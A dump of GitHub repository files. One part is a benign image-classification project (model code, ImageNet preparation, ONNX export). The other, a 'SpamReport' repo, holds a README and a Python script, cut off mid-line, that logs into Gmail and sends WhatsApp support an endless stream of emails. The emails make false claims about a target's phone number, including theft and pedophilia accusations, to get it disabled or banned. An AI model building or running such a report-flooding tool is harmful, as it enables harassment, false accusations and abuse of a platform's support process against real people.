postal_code.upper() + \"\\n\")\n\n return can_mail_format\n\n\ndef main():\n # gets a users name and prints out their formal name\n user_apartment_num = \"\"\n\n user_name = input(\"Enter your full name: \")\n user_apartment = input(\"Do you live in an apartment? (y/n): \")\n if user_apartment == \"y\" or user_apartment == \"yes\":\n user_apartment_num = input(\"Enter your apartment number: \")\n user_street_number = input(\"Enter your street number: \")\n user_street_name = input(\"Enter your street name: \")\n user_city = input(\"Enter your city name: \")\n user_province = input(\"Enter your province initials (i.e, AB, ON, MA): \")\n user_postal_code = input(\"Enter your postal code (i.e K1C 1K3): \")\n\n if user_apartment_num != \"\":\n formatted_string = formatted_address(user_name, user_street_number,\n user_street_name, user_city,\n user_province, user_postal_code,\n user_apartment_num)\n else:\n formatted_string = formatted_address(user_name, user_street_number,\n user_street_name, user_city,\n user_province,\n user_postal_code)\n\n print(formatted_string)\n\n\nif __name__ == \"__main__\":\n main()\n" } ]
1
Tiantian572/Snet
https://github.com/Tiantian572/Snet
50bccde719d97bbf6a3a532031d423442e39263b
365ca8ed4ec240f5c975236aefc2494ffe9d4c22
a08c76705fb9847437b951396db4e5cf7477c72c
refs/heads/master
2022-04-09T10:04:28.179499
2020-03-04T02:18:46
2020-03-04T02:18:46
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6186440587043762, "alphanum_fraction": 0.6483050584793091, "avg_line_length": 18.75, "blob_id": "ddf8d9533b039a4754424ceb218f338e49153ec8", "content_id": "03b0b7d40cfd188e2024f244ab3e1194fe0fa236", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 236, "license_type": "no_license", "max_line_length": 64, "num_lines": 12, "path": "/data_pre/test.sh", "repo_name": "Tiantian572/Snet", "src_encoding": "UTF-8", "text": "DIR=\"$( cd \"$(dirname \"$0\")\" ; pwd -P )\"\ncd \"$DIR\"\n\necho \"Downloading...\"\n\nwget -c http://dl.caffe.berkeleyvision.org/caffe_ilsvrc12.tar.gz\n\necho \"Unzipping...\"\n\ntar -xf caffe_ilsvrc12.tar.gz && rm -f caffe_ilsvrc12.tar.gz\n\necho \"Done.\"" }, { "alpha_fraction": 0.5366120338439941, "alphanum_fraction": 0.6229507923126221, "avg_line_length": 32.88888931274414, "blob_id": "e7f21ccba184b12211cc9a90e30fc0e21b1b2db8", "content_id": "08798c054f4d409fb614272342068defda3c90bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 929, "license_type": "no_license", "max_line_length": 106, "num_lines": 27, "path": "/data_pre/data_pre.py", "repo_name": "Tiantian572/Snet", "src_encoding": "UTF-8", "text": "import tarfile\nimport glob\nimport os\nfilelist = glob.glob(\"/mnt/data1/yanghuiyu/datas/imagenet2012/imagenet_train/*.tar\")\nnum = 0\nprint(len(filelist))\n# for file in [\"n01847000\",\"n02089973\",\"n02091635\",\"n02089078\",\"n02085782\",\"n01749939\",\"n02113978\"]:\n# file = os.path.join(\"/mnt/data1/yanghuiyu/datas/imagenet2012/imagenet_train\",\"{}.tar\".format(file))\n# try:\n# folder = file.split(\"/\")[-1].split(\".\")[0]\n# tar = tarfile.open(file, 'r')\n# tar.extractall( \"/mnt/data1/yanghuiyu/datas/imagenet2012/train_imgs/\" + folder + \"/\") # ๅฏ่ฎพ็ฝฎ่งฃๅŽ‹ๅœฐๅ€\n# tar.close()\n# num += 1\n# except Exception as e:\n# print(e)\n# pass\n# print(\"processing %i/1000\\r\" % num)\n#\npath = \"/home/yanghuiyu/datas/imagenet/train_imgs\"\nimport os\ndirs = os.listdir(path)\nprint(len(dirs))\n# for pa in dirs:\n# imgs = os.listdir(os.path.join(path,pa))\n\n # print(pa,len(imgs))\n" }, { "alpha_fraction": 0.4688166379928589, "alphanum_fraction": 0.513059675693512, "avg_line_length": 33.39449691772461, "blob_id": "9b571521feb1d10b4ac7a33115c19184a8c6d477", "content_id": "90ddc9c32a2e67137424176bc731917bea882cbb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3752, "license_type": "no_license", "max_line_length": 123, "num_lines": 109, "path": "/model/Snet.py", "repo_name": "Tiantian572/Snet", "src_encoding": "UTF-8", "text": "from .modules import *\n\n\n\nclass SnetExtractor(nn.Module):\n cfg = {\n 49: [24, 60, 120, 240, 512],\n 146: [24, 132, 264, 528],\n 535: [48, 248, 496, 992],\n }\n\n def __init__(self, version = 146 , num_classes = 1000 , onnx = False , **kwargs):\n\n super(SnetExtractor,self).__init__()\n num_layers = [4, 8, 4]\n self.onnx = onnx\n self.num_layers = num_layers\n channels = self.cfg[version]\n self.channels = channels\n\n\n\n self.conv1 = conv_bn(\n 3, channels[0], kernel_size=3, stride=2,pad = 1\n )\n self.maxpool = nn.MaxPool2d(\n kernel_size=3, stride=2, padding=1,\n )\n\n\n self.stage1 = self._make_layer(\n num_layers[0], channels[0], channels[1], **kwargs)\n self.stage2 = self._make_layer(\n num_layers[1], channels[1], channels[2], **kwargs)\n self.stage3 = self._make_layer(\n num_layers[2], channels[2], channels[3], **kwargs)\n if len(self.channels) == 5:\n self.conv5 = conv_bn(\n channels[3], channels[4], kernel_size=1, stride=1 ,pad=0 )\n\n\n\n if len(channels) == 5:\n self.cem = CEM(channels[-3], channels[-1], channels[-1])\n else:\n self.cem = CEM(channels[-2], channels[-1], channels[-1])\n self.avgpool = nn.AdaptiveAvgPool2d(1)\n # self.lastliner1 = nn.Linear(self.channels[-1], 7*7*5)\n # self.relu_last1 = nn.ReLU(inplace=True)\n # self.lastliner2 = nn.Linear(7*7*5, 1024)\n # self.relu_last2 = nn.ReLU(inplace=True)\n self.classifier1 = nn.Linear(self.channels[-1], num_classes)\n self._initialize_weights()\n\n def _make_layer(self, num_layers, in_channels, out_channels, **kwargs):\n layers = []\n for i in range(num_layers):\n if i == 0:\n layers.append(ShuffleV2Block(in_channels, out_channels, mid_channels=out_channels // 2, ksize=5, stride=2))\n else:\n layers.append(ShuffleV2Block(in_channels // 2, out_channels,\n mid_channels=out_channels // 2, ksize=5, stride=1))\n in_channels = out_channels\n return nn.Sequential(*layers)\n\n\n\n\n def _initialize_weights(self):\n for name, m in self.named_modules():\n if isinstance(m, nn.Conv2d):\n if 'first' in name:\n nn.init.normal_(m.weight, 0, 0.01)\n else:\n nn.init.normal_(m.weight, 0, 1.0 / m.weight.shape[1])\n if m.bias is not None:\n nn.init.constant_(m.bias, 0)\n elif isinstance(m, nn.BatchNorm2d):\n nn.init.constant_(m.weight, 1)\n if m.bias is not None:\n nn.init.constant_(m.bias, 0.0001)\n nn.init.constant_(m.running_mean, 0)\n elif isinstance(m, nn.BatchNorm1d):\n nn.init.constant_(m.weight, 1)\n if m.bias is not None:\n nn.init.constant_(m.bias, 0.0001)\n nn.init.constant_(m.running_mean, 0)\n elif isinstance(m, nn.Linear):\n nn.init.normal_(m.weight, 0, 0.01)\n if m.bias is not None:\n nn.init.constant_(m.bias, 0)\n\n def forward(self, x):\n\n x = self.conv1(x)\n x = self.maxpool(x)\n c3 = self.stage1(x)\n c4 = self.stage2(c3)\n c5 = self.stage3(c4)\n if len(self.channels) == 5:\n c5 = self.conv5(c5)\n\n Cglb_lat = self.avgpool(c5)\n Cglb_lat = Cglb_lat.view(Cglb_lat.size(0), -1)\n\n out = self.classifier1(Cglb_lat)\n if self.onnx:\n out = F.softmax(out)\n return out\n\n\n\n" }, { "alpha_fraction": 0.600222110748291, "alphanum_fraction": 0.6729594469070435, "avg_line_length": 28.52458953857422, "blob_id": "954b527f7cae9dbc5d66a68afead796e5dceb5a6", "content_id": "b5a2ac8f6e5939cb9de61c36a6a5ec6f17e00d91", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1801, "license_type": "no_license", "max_line_length": 121, "num_lines": 61, "path": "/onnx/onnx_infer.py", "repo_name": "Tiantian572/Snet", "src_encoding": "UTF-8", "text": "\"\"\"\nThis code uses the onnx model to detect faces from live video or cameras.\n\"\"\"\nimport os,sys\nimport time\n\nimport cv2\nimport numpy as np\nimport onnx\n\n\nfrom caffe2.python.onnx import backend\n\n# onnx runtime\nimport onnxruntime as ort\n\nonnx_path = \"./snet146.onnx\"\n\n\npredictor = onnx.load(onnx_path)\nonnx.checker.check_model(predictor)\nonnx.helper.printable_graph(predictor.graph)\npredictor = backend.prepare(predictor, device=\"CPU\") # default CPU\n\nort_session = ort.InferenceSession(onnx_path)\ninput_name = ort_session.get_inputs()[0].name\nresult_path = \"./result\"\n\nthreshold = 0.7\npath = \"/mnt/data1/yanghuiyu/dlmodel/Fd/Face-Detector-1MB-with-landmark/images/input\"\nsum = 0\nif not os.path.exists(result_path):\n os.makedirs(result_path)\nlistdir = os.listdir(path)\nsum = 0\nfor file_path in listdir:\n img_path = os.path.join(path, file_path)\n orig_image = cv2.imread(\"/mnt/data1/yanghuiyu/project/object_detect/Thundernet_new/voc_images/input/2008_000171.jpg\")\n image = cv2.resize(orig_image, (224, 224))\n\n # image = cv2.resize(image, (640, 480))\n\n # mean = np.array([0.40789654, 0.44719302, 0.47026115],\n # dtype=np.float32).reshape(1, 1, 3)\n # std = np.array([0.28863828, 0.27408164, 0.27809835],\n # dtype=np.float32).reshape(1, 1, 3)\n\n # print(image)\n mean = np.array([[[0.485 * 255, 0.456 * 255, 0.406 * 255]]])\n\n image = image - mean\n image = np.transpose(image, [2, 0, 1])\n image = np.expand_dims(image, axis=0)\n image = image.astype(np.float32)\n\n # confidences, boxes = predictor.run(image)\n time_time = time.time()\n # boxes , confidences, landmark = ort_session.run(None, {input_name: image})\n cls_prob = predictor.run(image)[0]\n print(np.argmax(cls_prob))\n print(cls_prob[0][np.argmax(cls_prob)])\n" }, { "alpha_fraction": 0.6581818461418152, "alphanum_fraction": 0.6581818461418152, "avg_line_length": 20.230770111083984, "blob_id": "1451e5271b0423c7b5e026c852493351f0e7f3dc", "content_id": "9f37322408642478e08f74237f159f26cbeb0426", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 275, "license_type": "no_license", "max_line_length": 55, "num_lines": 13, "path": "/data_pre/clean_imgs.py", "repo_name": "Tiantian572/Snet", "src_encoding": "UTF-8", "text": "import shutil\nfrom PIL import Image\nimport glob\nimport os\nfrom tqdm import tqdm\npath = \"/home/yanghuiyu/datas/imagenet/val_images/*/*\"\nimgs = glob.glob(path)\nfor path in tqdm(imgs):\n try:\n Image.open(path)\n except:\n print(path)\n os.remove(path)" }, { "alpha_fraction": 0.650759220123291, "alphanum_fraction": 0.6767895817756653, "avg_line_length": 32, "blob_id": "6acad5792ebeef9469bffd27b30b5e49932b517f", "content_id": "a82bbdc4692c83f162c6444573702b435682547a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 461, "license_type": "no_license", "max_line_length": 70, "num_lines": 14, "path": "/data_pre/test_data_pre.py", "repo_name": "Tiantian572/Snet", "src_encoding": "UTF-8", "text": "import os\nimport shutil\n\npath = \"/mnt/data1/yanghuiyu/datas/imagenet2012/imagenet_val/\"\nsave_path = \"/mnt/data1/yanghuiyu/datas/imagenet2012/val_images/\"\ntxt = \"./val.txt\"\nindex = 0\nfor line in open(txt,\"r\"):\n name , label = line.strip().split(\" \")\n if not os.path.exists(os.path.join(save_path,label)):\n os.mkdir(os.path.join(save_path,label))\n shutil.copy(os.path.join(path,name),os.path.join(save_path,label))\n index +=1\n print(index)" }, { "alpha_fraction": 0.6654275059700012, "alphanum_fraction": 0.6895910501480103, "avg_line_length": 32.6875, "blob_id": "4eb1833bf66eabab7e829072a0a522e2bb7c2b66", "content_id": "a8536ff0a432957b48e44ee03467ce6221d8fc36", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 538, "license_type": "no_license", "max_line_length": 92, "num_lines": 16, "path": "/data_pre/train_data_label.py", "repo_name": "Tiantian572/Snet", "src_encoding": "UTF-8", "text": "import glob\nimport pandas as pd\nimport os\ndata = pd.read_csv(\"train.txt\",header=None,delimiter=\" \")\ndata[\"label\"] = data[0].map(lambda x:x.split(\"/\")[0])\ndata = data.drop([0], axis=1)\ndata = data.drop_duplicates([1,'label'],keep='last')\nlabel_dict = dict(zip(data[\"label\"],data[1]))\nprint(label_dict)\n\ntrain_path = \"/mnt/data1/yanghuiyu/datas/imagenet2012/train_imgs\"\nindex = 0\nfor path in os.listdir(train_path):\n os.replace(os.path.join(train_path,path),os.path.join(train_path,str(label_dict[path])))\n index+=1\n print(index)" }, { "alpha_fraction": 0.6336261034011841, "alphanum_fraction": 0.6486825346946716, "avg_line_length": 29.69230842590332, "blob_id": "6155c0854abc14cb83348dd404e875264bb1224b", "content_id": "0b7fb89bca4b45336caeb54565a1193459308b86", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 797, "license_type": "no_license", "max_line_length": 91, "num_lines": 26, "path": "/onnx/conver_to_onnx.py", "repo_name": "Tiantian572/Snet", "src_encoding": "UTF-8", "text": "import sys\nsys.path.insert(0,\"../model\")\nfrom torch import nn\nimport torch\nfrom Snet import SnetExtractor\nfrom utils import load_model\n\n\nnet = SnetExtractor(onnx=True)\n\nnet = load_model(net, \"../checkpoints/model_best.pth.tar\")\nnet.eval()\nprint('Finished loading model!')\nprint(net)\ndevice = torch.device(\"cpu\")\nnet = net.to(device)\n\n##################export###############\noutput_onnx = 'snet146.onnx'\nprint(\"==> Exporting model to ONNX format at '{}'\".format(output_onnx))\ninput_names = [\"input\"]\n# output_names = [\"hm\" , \"wh\" , \"reg\"]\noutput_names = [\"cls_prob\" ]\ninputs = torch.randn(1, 3, 224, 224).to(device)\ntorch_out = torch.onnx._export(net, inputs, output_onnx, export_params=True, verbose=False,\n input_names=input_names, output_names=output_names)" } ]
8
elpelluco660/Soporte
https://github.com/elpelluco660/Soporte
745b719648fc03c95e6ef29298444f1e9c271644
632fc264c349cc6a8093103d59e894bd452a24e4
fdb2552a9c3bafbe45f8ba8d2bc39812fe3b9b5f
refs/heads/main
2023-07-01T02:12:55.688485
2021-08-03T22:39:17
2021-08-03T22:39:17
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6183205842971802, "alphanum_fraction": 0.7946966886520386, "avg_line_length": 39.803279876708984, "blob_id": "05eb14ef57d9a822e7dd11fb900204ed9c71ff8b", "content_id": "00028fe56845166c7f19d65bde9bacf7d3093424", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2505, "license_type": "permissive", "max_line_length": 286, "num_lines": 61, "path": "/README.md", "repo_name": "elpelluco660/Soporte", "src_encoding": "UTF-8", "text": "<p>\n<img src= \"https://camo.githubusercontent.com/71b837571c48af3aa60a73dbc9d5936aa359d78efbfa8a6743cbbbc16b80ef4d/68747470733a2f2f63646e2e646973636f72646170702e636f6d2f6174746163686d656e74732f3830353930323039333930363630383138362f3830353931333937323533353539303932322f74656e6f722e676966\"/>\n</p>\n\n<p align=\"center\" ><img alt=\"SpamReport\" src=\"https://raw.githubusercontent.com/MicaelliMedeiros/micaellimedeiros/master/image/computer-illustration.png\"></p>\n\n<h1 align=\"center\">SpamReport (Alpha)</h1>\n<p align=\"center\">\n <img alt=\"GitHub commit activity\" src=\"https://img.shields.io/github/commit-activity/m/HermesWarriorsofDeath/Soporte\">\n <img alt=\"Latest version\" src=\"https://img.shields.io/github/v/release/HermesWarriorsofDeath/Soporte.svg\" alt=\"Latest version\">\n\n <p align=\"center\">\n Este script fue creado solo para uso educativo, no soy responsable de ningรบn uso indebido.\n </p>\n</p>\n\n<h3><p align=\"center\">Version: 1.0 Alpha</p></h3>\n\n![image](https://github.com/HermesWarriorsofDeath/Soporte/blob/main/IMG-20210803-WA0578.jpg)\n\n![banner](https://github.com/HermesWarriorsofDeath/Soporte/blob/main/IMG-20210620-WA0488.JPG)\n> Habilite esta opciรณn en Gmail donde utilizarรก.\n\n> Obs: Usuarios de IOS, haga clic aquรญ [**aqui**](https://myaccount.google.com/lesssecureapps?pli=1&rapt=AEjHL4OSggjYOgt8g8HbgSU58LpUqQ5GsD63ipENqa84YegMHionqqvIXMMoc4bqu-C0GH0N--Kal_AFpd5rRJYyO0g-y1AbEQ)\n\n<p align=\"center\" >\n <h2 align=\"center\">๐Ÿ“ง Groups</h2>\n<a href=\"https://chat.whatsapp.com/Lg9Ku0IeMNu4D5Ux3\" alt=\"WhatsApp\">\n <img src = \"https://img.shields.io/badge/-WhatsApp-25d366?style=flat-square&labelColor=25d366&logo=whatsapp&logoColor=white&link=API-DO-SEU-WHATSAPP\" /> </a>\n\n<h2 align=\"center\">๐Ÿ–ฅ Install</h2>\n\n\n```\nPrimero en el navegador dar los permisos de la cuenta\nhttps://myaccount.google.com/lesssecureapps?pli=1&rapt=AEjHL4OSggjYOgt8g8HbgSU58LpUqQ5GsD63ipENqa84YegMHionqqvIXMMoc4bqu-C0GH0N--Kal_AFpd5rRJYyO0g-y1AbEQ\n\n๐Ÿ“ฑiSH\napk update\napk upgrade\napk add git\napk add python\napk add python2\napk add python3\napk add figlet\ngit clone https://github.com/HermesWarriorsofDeath/Soporte\ncd SpamReport\npython3 -m ensurepip --default-pip\npython3 main.py\n\n๐Ÿ’ปTermux\napt update && apt upgrade -y\napt install git python figlet -y\ngit clone https://github.com/HermesWarriorsofDeath/Soporte\ncd Soporte\npython3 main.py\n```\n\n<p>\n<img src= \"https://camo.githubusercontent.com/71b837571c48af3aa60a73dbc9d5936aa359d78efbfa8a6743cbbbc16b80ef4d/68747470733a2f2f63646e2e646973636f72646170702e636f6d2f6174746163686d656e74732f3830353930323039333930363630383138362f3830353931333937323533353539303932322f74656e6f722e676966\"/>\n</p>\n" }, { "alpha_fraction": 0.5769016146659851, "alphanum_fraction": 0.6079495549201965, "avg_line_length": 45.0625, "blob_id": "9b92a4492865b8dd71eadf5f1afc61af76ab3b3c", "content_id": "b4f75308fb6431815cc736612ef317fb240fe5eb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12584, "license_type": "permissive", "max_line_length": 393, "num_lines": 272, "path": "/main.py", "repo_name": "elpelluco660/Soporte", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n#Hice Este Repositorio para la legion warriors of death :P\nimport webbrowser,os, sys, time,platform, subprocess, getpass,smtplib, email.message, imaplib, email, ssl\nclean = (\"cls\" if os.name == \"nt\" else \"clear\")\ndef clear():\n\tos.system(clean)\ndef restart():\n python = sys.executable;os.execl(python, python, *sys.argv)\nglobal Y, C, G, R, wp, main, main2\nY = '\\033[1;33m'\nC = '\\033[1;37m'\nG = '\\033[1;32m'\nR = '\\033[1;31m'\nerror = f'{C}[{R}ERROR{C}]';warning = f'{C}[{Y}!{C}]';info = f'{C}[{G}i{C}]'\nresult = os.popen('figlet HERMES').read()\ntry:\n\tif __name__ =='__main__':\n\t\tprint(f'{warning} Buscando actualizaciones')\n\t\tupdate=subprocess.check_output('git pull', shell=True)\n\t\tif 'Already up to date' not in update.decode():\n\t\t\tprint(f'{info} Actualizaciรณn instalada\\n{info} Reiniciando...');time.sleep(2);restart()\n\t\telse:\n\t\t\tprint(f'{warning} No hay actualizaciones disponibles.');time.sleep(2)\nexcept:\n\tif os.path.exists('.git'):\n\t\tpass\n\telse:\n\t\tprint(f\"{error} Falta de repositorio GIT local.\")\ntry:\n\tsubprocess.check_output('apt update -y', shell=True)\n\tos.system('apt install figlet')\nexcept:\n\t\tos.system('pacman -Sy figlet')\nwp = f'''{result}\\n{C}__ {G}Warriors Of Death!{C} __\\n{C}==================\\n{info} Coded By: {G}Hermes{C}\\n{info} Github: {G}https://github.com/HermesWarriorsofDeath\\n{warning} Recuerda activar la opciรณn 'Aplicaciones menos seguras' en la cuenta que vas a utilizar {warning}\\n{C}=================='''\nmain = f'''\n{wp}\\n{C}[{G}1{C}] Desactivar Numero\n{C}[{G}2{C}] Restablecer codigos\n{C}[{G}3{C}] Retirar Baneo\n{C}[{G}4{C}] Banear Numero\n{C}[{G}5{C}] Derrumbar Blindaje\n{C}[{G}6{C}] Blindar Numero\n\n==================\n{C}[{G}8{C}] Permisos de Aplicaciรณnn\n{C}[{G}9{C}] Contacto de WhatsApp\n{C}[{G}0{C}] Sair\n{C}===> {G}'''\nerro1=f'{wp}\\n{error} Caractere(s) invรกlido(s) no uses el arroba gmail.com solo el usuario.\\n{C}================='\nurl1 = 'https://myaccount.google.com/lesssecureapps?pli=1&rapt=AEjHL4OSggjYOgt8g8HbgSU58LpUqQ5GsD63ipENqa84YegMHionqqvIXMMoc4bqu-C0GH0N--Kal_AFpd5rRJYyO0g-y1AbEQ'\nurl2 = 'https://wa.me/5218333659697'\ndef link():\n\tif op ==8:\n\t\tif platform.system() == \"Windows\":\n\t\t\twebbrowser.open(url1)\n\t\telse:\n\t\t\tos.system('termux-open-url '+url1)\n\telif op ==9:\n\t\tif platform.system() == \"Windows\":\n\t\t\twebbrowser.open(url2)\n\t\telse:\n\t\t\tos.system('termux-open-url '+url2)\nmain2 = [f'{wp}\\n{C}[{G}1{C}] Mรฉtodo #1',f'\\n{C}[{G}2{C}] Mรฉtodo #2', f'\\n{C}[{G}3{C}] Mรฉtodo #3', f'\\n{C}[{G}4{C}] Mรฉtodo #4', f'\\n{C}[{G}5{C}] Mรฉtodo #5', f'\\n{C}[{G}6{C}] Mรฉtodo #6', f'\\n{C}===>{G}']\ninp = f'''{C}===>{G} '''\nerror = f'{C}[{R}ERROR{C}]';warning = f'{C}[{Y}!{C}]';info = f'{C}[{G}i{C}]'\nblock_num = [\"+52 833 416-0298\",\"+55 21 79180533\",\"55 21 7918053333\",\"55 21 7918-0533\",\"+55217918-0533\",\"+5218333659697\",\"5218333659697\",\"55217918-0533\"]\ndef init():\n\tgmail=input(f'{C}[{Y}Gmail{C}]: ');senha=getpass.getpass(prompt=f'{C}[{Y}senha{C}]: ')\n\tlogin = {\n\t'log1':f'{gmail}',\n\t'log2':f'{senha}',\n\t############\n\t'server':'smtp.gmail.com',\n\t}\n\tmail = imaplib.IMAP4_SSL(login['server'])\n\tmail.login(login['log1'], login['log2'])\n\tmail.select('INBOX')\n\ttry:\n\t \t\ttry:\n\t \t\t\t##############################\n\t\t \t\tstatus, search_data = mail.search(None, 'ALL')\n\t\t \t\tmail_ids = []\n\t\t \t\tfor block in search_data:\n\t\t \t\t\tmail_ids += block.split()\n\t\t \t\tstart = mail_ids[0].decode()\n\t\t \t\tend = mail_ids[-1].decode()\n\t\t \t\tmail.store(f'{start}:{end}'.encode(), '+X-GM-LABELS', '\\\\Trash')\n\t\t \t\tmail.select('[Gmail]/Trash')\n\t\t \t\tmail.store(\"1:*\", '+FLAGS', '\\\\Deleted')\n\t\t \t\tmail.expunge()\n\t\t \t\tmail.close()\n\t\t \t\tmail.logout()\n\t\t \t\t##############################\n\t\t \texcept:\n\t\t \t\tpass\n\t\t \twhile True:\n\t\t \t\t##############################\n\t \t\t\tmsg = email.message.Message()\n\t \t\t\tmsg['Subject'] = titulo\n\t \t\t\tmsg['From'] = login['log1']\n\t \t\t\tmsg['To'] = '[email protected]'\n\t \t\t\tpassword = login['log2']\n\t \t\t\tmsg.add_header('Content-Type', 'text/html')\n\t \t\t\tmsg.set_payload(bd )\n\t \t\t\t##############################\n\t \t\t\ts = smtplib.SMTP('smtp.gmail.com: 587')\n\t \t\t\ts.starttls()\n\t \t\t\ts.login(msg['From'], login['log2'])\n\t \t\t\ts.sendmail(msg['From'], [msg['To']], msg.as_string().encode('utf-8'))\n\t \t\t\t##############################\n\t \t\t\tstatus, data = mail.search(None, 'ALL')\n\t \t\t\tfor block in data:\n\t \t\t\t\tmail_ids += block.split()\n\t \t\t\tfor i in mail_ids:\n\t \t\t\t\tstatus, data = mail.fetch(i, '(RFC822)')\n\t \t\t\t\tfor response_part in data:\n\t \t\t\t\t if isinstance(response_part, tuple):\n\t \t\t\t\t \tmessage = email.message_from_bytes(response_part[1])\n\t \t\t\t\t \tmail_from = message['from']\n\t \t\t\t\t \tmail_subject = message['subject']\n\t \t\t\t\t \tif message.is_multipart():\n\t \t\t\t\t \t mail_content = ''\n\t \t\t\t\t \t for part in message.get_payload():\n\t \t\t\t\t \t if part.get_content_type() == 'text/plain':\n\t \t\t\t\t \t \tmail_content += part.get_payload()\n\t \t\t\t\t \telse:\n\t \t\t\t\t \t\tmail_content = message.get_payload()\n\t \t\t\t\t \tif '[email protected]' in mail_from:\n\t \t\t\t\t \t\trestart()\n\t \t\t\t##############################\n\texcept Exception as erro:\n\t\tprint(f\"{error} Compruebe si se ha activado la opciรณn 'Aplicaciones menos seguras' o si ha introducido el correo electrรณnico / contrasena correctamente, o bien puede ser un error de conexion revise su bandeja de enviados.\\n{warning}: \"+str(erro));time.sleep(5)\nSair = False\nwhile(Sair == False):\n\t\ttry:\n\t\t\tclear();op = int(input(main))\n\t\t\tif op == 1 or op == 2 or op == 3 or op == 4 or op == 5 or op == 6:\n\t\t\t\tnumero=input(f'{C}[{Y}Numero{C}]: ')\n\t\t\t\tfor num in block_num:\n\t\t\t\t\tif num in numero:\n\t\t\t\t\t\tclear();print(f'\\n{result}\\n{C}=================\\n{error}NรšMERO PROHIBIDO.\\n{C}=================');time.sleep(3);pass\n\t\t\t\ttitle = {\n\t# Desactivacion de Nรบmero\n\t'title0':'Por Favor Desactive este numero',\n\t'title1':'Desactive el nรบmero de mi cuenta',\n\t'title2':'telรฉfono robado/extraviado: por favor desactiva mi cuenta',\n\t'title3':'Prohibir mi cuenta de emergencia me han robado',\n\t'title4':'Perdido/Roubado: Por favor, desative minha conta',\n\t'title5':'Por Favor Desactive mi cuenta',\n\t#####################\n\t#Restablecer codigos\n\t'title6':'Reenviar codigo de verificacion',\n\t'title7':'No puedo iniciar sesiรณn en whatsapp con codigo!',\n\t'title8':'No recibo el cรณdigo de verificacion',\n\t#####################\n\t#Retirar Baneo\n\t'title9':'No puedo acceder a mi cuenta',\n\t'title10':'Mi numero fue prohibido injustamente',\n\t#####################\n\t#Banear Numero\n\t'title11':'AYUDAME URGENTEMENTE',\n\t'title12':'Perdido/Robado',\n\t#####################\n\t#Derrumbar Blindagem\n\t'title13':'Perdido/Robado',\n\t#####################\n\t#Blindar Nรบmero\n\t'title14':'Desactive el nรบmero de mi cuenta',\n\t'title15':'Por favor, ayรบdenme!'\n\t#####################\n\t}\n\t\t\t\ttext = {\n\t# Desactivacion de Nรบmero\n\t'text0':f'Desactive esta cuenta urgentemente: {numero}',\n\t'text1':f'Hace poco me robaron y los bandidos se llevaron todos mis documentos, incluido mi celular, los necesito para desactivar mi cuenta hasta que recupere mi celular o chip, porque tengo una microempresa en mi celular y no quiero que tengan acceso a ella.: {numero}',\n\t'text2':f'Estoy solicitando la desactivaciรณn temporal de mi cuenta de whatsapp, mi numero: {numero}',\n\t'text3':f'Robรณ mi telefono y todos mis pertenecias, desactiva mi cuenta de inmediato: {numero}',\n\t'text4':f'Hola, me gustarรญa deshabilitar mi nรบmero de WhatsApp porque estoy cambiando a Telegram, Mi numero: {numero}',\n\t'text5':f'Perdido / Robado: Desactive mi cuenta: {numero}',\n\t#####################\n\t#Restablecer Codigos\n\t'text6':f'Hola, no puedo registrarme en mi cuenta, ayรบdame: {numero}',\n\t'text7':f'No puedo iniciar sesiรณn en whatsapp, mi numero marca -1 segundos, ยกte pido por favor que restablezcas la verificacion de mi numero! Numero: {numero}',\n\t'text8':f'No puedo acceder a mi numero. Alguien solicito mi codigo por error o intencionalmente. Mi numero se usa para conversaciones con miembros de mi familia, amigos y trabajo. ยกRestablezca mi cรณdigo de verificaciรณn por SMS! Nรบmero: {numero}',\n\t#####################\n\t#Retirar Baneo\n\t'text9':f'Hola, comprรฉ un nรบmero para que mi hijo haga su trabajo en la escuela a la que asiste, pero cuando intente ingresar el numero, estaba diciendo que el numero estaba prohibido para whatsapp y ni siquiera ingrese el nรบmero anteriormente, ya compre el numero y el ya estaba asi, necesita urgentemente ese numero para hacer su trabajo escolar. ยกAyuda lo antes posible! Numero: {numero}',\n\t'text10':f'Estoy trabajando y de repente mi nรบmero fue baneado, no sรฉ quรฉ pasรณ, necesito mi nรบmero porque es del trabajo, necesito atender a mis clientes. Mi numero: {numero}',\n\t#####################\n\t#Banear Numero\n\t'text11':f'Pedofilia y abuso sexual, quiero que banes este nรบmero al Soporte de WhatsApp, estรก involucrado con grupos de pedofilia, te pido que me ayudes en esto porque mi hijo fue una vรญctima. Nรบmero: {numero}',\n\t'text12':f'por favor banear este numero esta queriendome extorcionar con supuestas imagenes y con amenazas: {numero}',\n\t#####################\n\t#Derrumbar Blindaje\n\t'text13':f'Hola, perdi todos mis documentos y me robaron el chip. Quiero que desactiven mi cuenta de inmediato, el chip y cuenta tienen datos sobre mi, asi que quiero que desactiven mi nรบmero de inmediato.: {numero}',\n\t#####################\n\t#Blindar Nรบmero\n\t'text14':f'Desactive el nรบmero de mi cuenta inmediatamente porque se me ha perdido el nรบmero: {numero}',\n\t'text15':f'Me estรกn acosando. ยกPor favor varios personas y mi nรบmero se ha filtrado en varias redes sociales! Te pido que revises los informes antes de realizar cualquier tipo de prohibiciรณn sobre mi nรบmero: {numero}'\n\t#####################\n\t}\n\t\t\t\tif op == 1:\n\t\t\t\t\tclear();op2 = int(input(main2[0]+main2[1]+main2[2]+main2[3]+main2[4]+main2[5]+main2[6]))\n\t\t\t\t\tif op2 == 1:\n\t\t\t\t\t\tclear();print(wp, f'{C}Modo:{R} Desactivar Numero{C}\\n');titulo = title['title0'];bd=text['text0']\n\t\t\t\t\telif op2 == 2:\n\t\t\t\t\t\tclear();print(wp, f'{C}Modo:{R} Desactivar Numero{C}\\n');titulo = title['title1'];bd=text['text1']\n\t\t\t\t\telif op2 == 